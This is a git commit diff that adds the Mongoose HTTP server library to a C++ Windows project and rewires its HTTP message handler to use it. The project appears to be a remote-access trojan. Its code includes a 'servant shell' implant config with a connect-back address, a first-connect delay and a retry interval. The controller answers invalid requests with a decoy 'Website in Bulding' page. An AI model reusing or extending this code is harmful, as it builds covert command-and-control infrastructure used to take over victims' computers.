add mongoose http server.

This commit is contained in:
floyd 2015-07-01 22:52:52 +08:00
parent a870fab3b3
commit 8bb0de53e8
8 changed files with 5516 additions and 226 deletions

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,151 @@
// Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com>
// Copyright (c) 2013-2014 Cesanta Software Limited
// All rights reserved
//
// This software is dual-licensed: you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation. For the terms of this
// license, see <http://www.gnu.org/licenses/>.
//
// You are free to use this software under the terms of the GNU General
// Public License, but WITHOUT ANY WARRANTY; without even the implied
// warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
// See the GNU General Public License for more details.
//
// Alternatively, you can license this software under a commercial
// license, as set out in <http://cesanta.com/>.
#ifndef MONGOOSE_HEADER_INCLUDED
#define MONGOOSE_HEADER_INCLUDED
#define MONGOOSE_VERSION "5.6"
#include <stdio.h> // required for FILE
#include <stddef.h> // required for size_t
#ifdef __cplusplus
extern "C" {
#endif // __cplusplus
// This structure contains information about HTTP request.
struct mg_connection {
const char *request_method; // "GET", "POST", etc
const char *uri; // URL-decoded URI
const char *http_version; // E.g. "1.0", "1.1"
const char *query_string; // URL part after '?', not including '?', or NULL
char remote_ip[48]; // Max IPv6 string length is 45 characters
char local_ip[48]; // Local IP address
unsigned short remote_port; // Client's port
unsigned short local_port; // Local port number
int num_headers; // Number of HTTP headers
struct mg_header {
const char *name; // HTTP header name
const char *value; // HTTP header value
} http_headers[30];
char *content; // POST (or websocket message) data, or NULL
size_t content_len; // Data length
int is_websocket; // Connection is a websocket connection
int status_code; // HTTP status code for HTTP error handler
int wsbits; // First byte of the websocket frame
void *server_param; // Parameter passed to mg_create_server()
void *connection_param; // Placeholder for connection-specific data
void *callback_param;
};
struct mg_server; // Opaque structure describing server instance
enum mg_result { MG_FALSE, MG_TRUE, MG_MORE };
enum mg_event {
MG_POLL = 100, // Callback return value is ignored
MG_CONNECT, // If callback returns MG_FALSE, connect fails
MG_AUTH, // If callback returns MG_FALSE, authentication fails
MG_REQUEST, // If callback returns MG_FALSE, Mongoose continues with req
MG_REPLY, // If callback returns MG_FALSE, Mongoose closes connection
MG_RECV, // Mongoose has received POST data chunk.
// Callback should return a number of bytes to discard from
// the receive buffer, or -1 to close the connection.
MG_CLOSE, // Connection is closed, callback return value is ignored
MG_WS_HANDSHAKE, // New websocket connection, handshake request
MG_WS_CONNECT, // New websocket connection established
MG_HTTP_ERROR // If callback returns MG_FALSE, Mongoose continues with err
};
typedef int (*mg_handler_t)(struct mg_connection *, enum mg_event);
// Websocket opcodes, from http://tools.ietf.org/html/rfc6455
enum {
WEBSOCKET_OPCODE_CONTINUATION = 0x0,
WEBSOCKET_OPCODE_TEXT = 0x1,
WEBSOCKET_OPCODE_BINARY = 0x2,
WEBSOCKET_OPCODE_CONNECTION_CLOSE = 0x8,
WEBSOCKET_OPCODE_PING = 0x9,
WEBSOCKET_OPCODE_PONG = 0xa
};
// Server management functions
struct mg_server *mg_create_server(void *server_param, mg_handler_t handler);
void mg_destroy_server(struct mg_server **);
const char *mg_set_option(struct mg_server *, const char *opt, const char *val);
int mg_poll_server(struct mg_server *, int milliseconds);
const char **mg_get_valid_option_names(void);
const char *mg_get_option(const struct mg_server *server, const char *name);
void mg_copy_listeners(struct mg_server *from, struct mg_server *to);
struct mg_connection *mg_next(struct mg_server *, struct mg_connection *);
void mg_wakeup_server(struct mg_server *);
void mg_wakeup_server_ex(struct mg_server *, mg_handler_t, const char *, ...);
struct mg_connection *mg_connect(struct mg_server *, const char *);
// Connection management functions
void mg_send_status(struct mg_connection *, int status_code);
void mg_send_header(struct mg_connection *, const char *name, const char *val);
size_t mg_send_data(struct mg_connection *, const void *data, int data_len);
size_t mg_printf_data(struct mg_connection *, const char *format, ...);
size_t mg_write(struct mg_connection *, const void *buf, int len);
size_t mg_printf(struct mg_connection *conn, const char *fmt, ...);
size_t mg_websocket_write(struct mg_connection *, int opcode,
const char *data, size_t data_len);
size_t mg_websocket_printf(struct mg_connection* conn, int opcode,
const char *fmt, ...);
void mg_send_file(struct mg_connection *, const char *path, const char *);
void mg_send_file_data(struct mg_connection *, int fd);
const char *mg_get_header(const struct mg_connection *, const char *name);
const char *mg_get_mime_type(const char *name, const char *default_mime_type);
int mg_get_var(const struct mg_connection *conn, const char *var_name,
char *buf, size_t buf_len);
int mg_parse_header(const char *hdr, const char *var_name, char *buf, size_t);
int mg_parse_multipart(const char *buf, int buf_len,
char *var_name, int var_name_len,
char *file_name, int file_name_len,
const char **data, int *data_len);
// Utility functions
void *mg_start_thread(void *(*func)(void *), void *param);
char *mg_md5(char buf[33], ...);
int mg_authorize_digest(struct mg_connection *c, FILE *fp);
int mg_url_encode(const char *src, size_t s_len, char *dst, size_t dst_len);
int mg_url_decode(const char *src, int src_len, char *dst, int dst_len, int);
int mg_terminate_ssl(struct mg_connection *c, const char *cert);
int mg_forward(struct mg_connection *c, const char *addr);
void *mg_mmap(FILE *fp, size_t size);
void mg_munmap(void *p, size_t size);
// Templates support
struct mg_expansion {
const char *keyword;
void (*handler)(struct mg_connection *);
};
void mg_template(struct mg_connection *, const char *text,
struct mg_expansion *expansions);
#ifdef __cplusplus
}
#endif // __cplusplus
#endif // MONGOOSE_HEADER_INCLUDED

View File

@ -42,7 +42,7 @@ BOOL HttpComm::SendAndRecv( ULONG targetIP, const LPBYTE pSendData, DWORD dwSend
BOOL HttpComm::Connect( ULONG targetIP )
{
#ifdef _DEBUG
g_ConfigInfo.nPort = 8081;
g_ConfigInfo.nPort = 8082;
#endif
char szPort[255] = {0};

View File

@ -230,7 +230,7 @@ SHELL_API BOOL Init(BOOL bWait)
g_ConfigInfo.nFirstConnectMinute = -1;
g_ConfigInfo.nTryConnectIntervalM = 1;
strcpy_s(g_ConfigInfo.szGroups, sizeof(g_ConfigInfo.szGroups), "Default");
strcpy_s(g_ConfigInfo.szAddr, sizeof(g_ConfigInfo.szAddr), "192.168.214.1");
strcpy_s(g_ConfigInfo.szAddr, sizeof(g_ConfigInfo.szAddr), "127.0.0.1");
// strcpy_s(g_CampInfo.szDllName, sizeof(g_CampInfo.szDllName), t2a(SERVANT_SHELL_BINNAME));
// #else

View File

@ -7,6 +7,7 @@
#include "common.h"
#include "CommManager.h"
#include "DnsResolver.h"
#include "mongoose/mongoose.h"
#pragma comment(lib, "ws2_32.lib")
@ -57,6 +58,17 @@ void CommManager::Deinit()
::WSACleanup();
}
void http_thread(LPVOID lpParameter)
{
mg_server* server = (mg_server*)lpParameter;
for (;;) {
mg_poll_server(server, 1000);
}
};
int CommManager::AddCommService(int port,int name)
{
COMM_MAP::iterator it;
@ -79,16 +91,30 @@ int CommManager::AddCommService(int port,int name)
{
case COMMNAME_HTTP:
{
TcpServer* httpServer = new TcpServer;
httpServer->Init(HttpMsgHandler,this);
struct mg_server *server;
if (! httpServer->StartListening(port, 0, 30))
{
delete httpServer;
return 0;
}
// Create and configure the server
server = mg_create_server(NULL, HttpMsgHandler);
info.lpParameter = httpServer;
char szPort[255];
memset(szPort,0,255);
itoa(port,szPort,10);
mg_set_option(server, "listening_port", szPort);
_beginthread(http_thread,0,server);
// TcpServer* httpServer = new TcpServer;
// httpServer->Init(HttpMsgHandler,this);
//
// if (! httpServer->StartListening(port, 0, 30))
// {
// delete httpServer;
// return 0;
// }
//
info.lpParameter = server;
info.nCommName = COMMNAME_HTTP;
m_commMap.insert(MAKE_PAIR(COMM_MAP,serial,info));
@ -150,8 +176,7 @@ BOOL CommManager::DeleteCommService(int serialid)
{
case COMMNAME_HTTP:
{
TcpServer* httpServer = (TcpServer*)info.lpParameter;
httpServer->Stop();
mg_destroy_server((mg_server**)&info.lpParameter);
break;
}
case COMMNAME_DNS:
@ -410,221 +435,41 @@ void CommManager::HandleMsgByMsgHandler( MSGID msgid, const CommData& commData )
}
}
BOOL CommManager::HttpMsgHandler( SOCKADDR_IN addr, SOCKET clientSocket, const LPBYTE pData, DWORD dwDataSize, LPBYTE pSessionData, LPVOID lpParameter )
{
if (NULL == pData) return FALSE;
CommManager* pMgr = (CommManager*) lpParameter;
return pMgr->HttpMsgHandleProc(addr, clientSocket, pData, dwDataSize, pSessionData);
}
int GetHttpHeaderSize(const LPBYTE pRecvData,int nLength)
{
char* lpHeaderEnd = strstr((char*)pRecvData,"\r\n\r\n");
if (!lpHeaderEnd)
{
return 0;
}
lpHeaderEnd += 4;
return (LPBYTE)lpHeaderEnd - (LPBYTE)pRecvData;
}
int GetHttpPacketSize(const LPBYTE pRecvData,int nLength)
{
int nSaveSize = 0;
int nSize = lstrlenA("Content-Length: ");
int nHeaderLength = GetHttpHeaderSize(pRecvData,nLength);
char* lpLength = strstr((char*)pRecvData,"Content-Length: ");
if (!lpLength || !strstr(lpLength,"\r"))
{
return 0xFFFFFFFF;
}
lpLength += nSize;
lpLength = strstr(lpLength,"\r") - 1;
int i = 0;
int sum = 1;
while(*lpLength != ' ')
{
nSaveSize += (lpLength[0]-'0')*sum;
i ++;
lpLength --;
sum *= 10;
}
return nSaveSize;
}
BOOL IsHttpHead(PBYTE pData,DWORD dwSize)
{
while(dwSize)
{
if ((*(pData + dwSize) == '\n') && (*(pData + dwSize - 1) == '\r'))
{
if ((*(pData + dwSize - 2) == '\n') && (*(pData + dwSize - 3) == '\r'))
{
return TRUE;
}
}
dwSize--;
}
return FALSE;
}
BOOL CommManager::ParseHttpPacket( SOCKET sSocket,LPBYTE pData,int dwDataSize,LPBYTE* outData,int& outSize )
{
HTTP_PACKET packet;
BOOL ret = FALSE;
//首次处理某个包
HttpPacketMap::iterator it = m_httpPacketMap.find(sSocket);
if (it == m_httpPacketMap.end())
{
packet.buffer = (LPBYTE)malloc(dwDataSize);
memcpy(packet.buffer,pData,dwDataSize);
packet.nCurSize = dwDataSize;
}
//粘包了
else
{
packet = m_httpPacketMap[sSocket];
LPBYTE tmp = (LPBYTE)malloc(packet.nCurSize+dwDataSize);
memcpy(tmp,packet.buffer,packet.nCurSize);
memcpy(tmp+packet.nCurSize,pData,dwDataSize);
free(packet.buffer);
packet.buffer = tmp;
packet.nCurSize += dwDataSize;
}
//检查包是否完整,进入处理流程
int nBody = GetHttpPacketSize(packet.buffer,packet.nCurSize);
if (nBody != 0xFFFFFFFF)
{
packet.nMaxSize = nBody;
}
int nHead = GetHttpHeaderSize(packet.buffer,packet.nCurSize);
if (packet.nCurSize - nBody == nHead)
{
LPBYTE p = packet.buffer;
for (int i = 0 ; i < packet.nCurSize ; i++)
{
if (p[i] == '\r' && p[i+1] == '\n')
{
if (p[i + 2] == '\r' && p[i+3] == '\n')
{
*outData = p + i + 4;
}
}
}
outSize = nBody;
ret = TRUE;
}
m_httpPacketMap[sSocket] = packet;
return ret;
}
void CommManager::FreeHttpPacket( SOCKET s )
{
HttpPacketMap::iterator it = m_httpPacketMap.find(s);
if (it != m_httpPacketMap.end())
{
free(it->second.buffer);
m_httpPacketMap.erase(it);
}
}
BOOL CommManager::HttpMsgHandleProc( SOCKADDR_IN addr, SOCKET clientSocket, const LPBYTE pData, DWORD dwDataSize, LPBYTE pSessionData )
int CommManager::HttpMsgHandler( struct mg_connection *conn, enum mg_event ev )
{
BOOL bValidData = FALSE;
BOOL bHasReply = FALSE;
do
BOOL bNeedReply = FALSE;
BOOL bHasRecv = FALSE;
ByteBuffer buffer;
int nOutSize = 0;
LPBYTE pOutBuf = NULL;
ByteBuffer toSendBuffer;
SOCKADDR_IN addr = {0};
char szLength[255] = {0};
switch (ev)
{
m_csHttpmap.Enter();
case MG_AUTH: return MG_TRUE;
case MG_REQUEST:
bNeedReply = CommManager::GetInstanceRef().HandleMessageAndReply(addr,(LPBYTE)conn->content , conn->content_len, COMMNAME_HTTP, bValidData, HTTP_COMM_REPLY_MAXSIZE, toSendBuffer);
sprintf_s(szLength,"%d",toSendBuffer.Size());
mg_send_header(conn,
"Content-Length",
szLength);
if (bNeedReply)
{
PBYTE p = NULL;
int iDataLength = 0;
if(!ParseHttpPacket(clientSocket,pData,dwDataSize,&p,iDataLength))
{
m_csHttpmap.Leave();
return TRUE;
}
ByteBuffer toSendBuffer;
bHasReply = HandleMessageAndReply(addr, p, iDataLength, COMMNAME_HTTP, bValidData, HTTP_COMM_REPLY_MAXSIZE, toSendBuffer);
FreeHttpPacket(clientSocket);
if (bHasReply)
{
HttpReply(clientSocket, toSendBuffer, toSendBuffer.Size());
}
mg_send_data(conn,toSendBuffer,toSendBuffer.Size());
}
m_csHttpmap.Leave();
return MG_TRUE;
} while (FALSE);
if (! bValidData)
{
std::string data = "Website in Bulding";
HttpReply(clientSocket, (LPBYTE)data.c_str(), data.size());
return FALSE;
}
return TRUE;
}
void CommManager::MakeHttpHeader( std::ostringstream& ss, DWORD dwContentLength) const
{
ss << "HTTP/1.1 200 OK\r\n";
ss << "Content-type: text/html\r\n";
ss << "vary: Vary: Accept-Encoding\r\n";
ss << "Content-length: " << dwContentLength << "\r\n";
ss << "Connection: Keep-Alive\r\n";
ss << "\r\n";
}
void CommManager::HttpReply( SOCKET clientSocket, const LPBYTE pData, DWORD dwSize ) const
{
MySocket sock(clientSocket, FALSE);
std::ostringstream ss;
MakeHttpHeader(ss, dwSize);
std::string data((LPCSTR)pData, dwSize);
ss << data;
std::string tosend = ss.str();
int iSent = sock.SendAll(tosend.c_str(), tosend.size());
if (!iSent)
{
errorLog(_T("sent %d. expected:%u"), iSent, tosend.size());
default: return MG_FALSE;
}
}

View File

@ -97,11 +97,7 @@ private:
void HandleMsgByMsgHandler(MSGID msgid, const CommData& commData);
//HTTP消息处理
static BOOL HttpMsgHandler(SOCKADDR_IN addr, SOCKET clientSocket, const LPBYTE pData, DWORD dwDataSize, LPBYTE pSessionData, LPVOID lpParameter);
BOOL HttpMsgHandleProc(SOCKADDR_IN addr, SOCKET clientSocket, const LPBYTE pData, DWORD dwDataSize, LPBYTE pSessionData);
void MakeHttpHeader(std::ostringstream& ss, DWORD dwContentLength) const;
BOOL ParseHttpPacket(SOCKET sSocket,LPBYTE pData,int nSize,LPBYTE* outData,int& outSize);
void FreeHttpPacket(SOCKET s);
static int HttpMsgHandler(struct mg_connection *conn, enum mg_event ev);
//UDP消息处理
static void UdpMsgHandler(SOCKADDR_IN addr, SOCKET listenSocket, const LPBYTE pData, DWORD dwDataSize, LPVOID lpParameter);

View File

@ -124,6 +124,7 @@
<ClInclude Include="..\..\..\base\include\json\value.h" />
<ClInclude Include="..\..\..\base\include\json\writer.h" />
<ClInclude Include="..\..\..\base\include\md5\md5.h" />
<ClInclude Include="..\..\..\base\include\mongoose\mongoose.h" />
<ClInclude Include="..\..\..\base\include\ods.h" />
<ClInclude Include="..\..\..\base\include\socket\MySocket.h" />
<ClInclude Include="..\..\..\base\include\tcpserver\TcpServer.h" />
@ -176,6 +177,7 @@
<ClCompile Include="..\..\..\base\include\json\json_value.cpp" />
<ClCompile Include="..\..\..\base\include\json\json_writer.cpp" />
<ClCompile Include="..\..\..\base\include\md5\md5.cpp" />
<ClCompile Include="..\..\..\base\include\mongoose\mongoose.cpp" />
<ClCompile Include="..\..\..\base\include\ods.cpp" />
<ClCompile Include="..\..\..\base\include\socket\MySocket.cpp" />
<ClCompile Include="..\..\..\base\include\tcpserver\TcpServer.cpp" />

View File

@ -70,6 +70,9 @@
<Filter Include="download">
<UniqueIdentifier>{d9d0561e-f460-416c-ae36-6044403a32c1}</UniqueIdentifier>
</Filter>
<Filter Include="include\mongoose">
<UniqueIdentifier>{a937e001-c3a5-446e-bd28-6c42d7d263f3}</UniqueIdentifier>
</Filter>
</ItemGroup>
<ItemGroup>
<None Include="ReadMe.txt" />
@ -309,6 +312,9 @@
<ClInclude Include="..\..\..\base\include\ods.h">
<Filter>common</Filter>
</ClInclude>
<ClInclude Include="..\..\..\base\include\mongoose\mongoose.h">
<Filter>include\mongoose</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
@ -407,6 +413,9 @@
<ClCompile Include="..\..\..\base\include\ods.cpp">
<Filter>common</Filter>
</ClCompile>
<ClCompile Include="..\..\..\base\include\mongoose\mongoose.cpp">
<Filter>include\mongoose</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="master.rc">